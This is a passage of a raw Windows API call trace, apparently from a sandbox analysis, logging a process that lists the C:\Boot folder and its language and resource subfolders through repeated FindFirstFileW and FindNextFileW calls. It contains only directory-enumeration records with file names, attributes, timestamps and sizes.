ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.067] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.067] FindClose (in: hFindFile=0x69af88 | out: hFindFile=0x69af88) returned 1 [0135.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.067] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0135.067] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0135.067] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b1c8 [0135.067] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.067] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.067] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.067] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.067] FindClose (in: hFindFile=0x69b1c8 | out: hFindFile=0x69b1c8) returned 1 [0135.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.068] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0135.068] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af08 [0135.068] FindNextFileW (in: hFindFile=0x69af08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.068] FindNextFileW (in: hFindFile=0x69af08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.068] FindNextFileW (in: hFindFile=0x69af08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.068] FindNextFileW (in: hFindFile=0x69af08, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.068] FindClose (in: hFindFile=0x69af08 | out: hFindFile=0x69af08) returned 1 [0135.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.068] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0135.068] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0135.068] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.068] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.068] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.068] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.068] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0135.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.069] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0135.069] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b0c8 [0135.069] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.069] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.069] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.069] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.069] FindClose (in: hFindFile=0x69b0c8 | out: hFindFile=0x69b0c8) returned 1 [0135.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.069] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0135.069] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ab88 [0135.069] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.069] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.069] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.069] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.069] FindClose (in: hFindFile=0x69ab88 | out: hFindFile=0x69ab88) returned 1 [0135.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.069] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0135.070] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69abc8 [0135.070] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.070] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.070] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.070] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.070] FindClose (in: hFindFile=0x69abc8 | out: hFindFile=0x69abc8) returned 1 [0135.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.070] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0135.070] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af88 [0135.070] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.070] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0135.070] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0135.070] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x348f584 | out: lpFindFileData=0x348f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69abc8 [0135.070] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f584 | 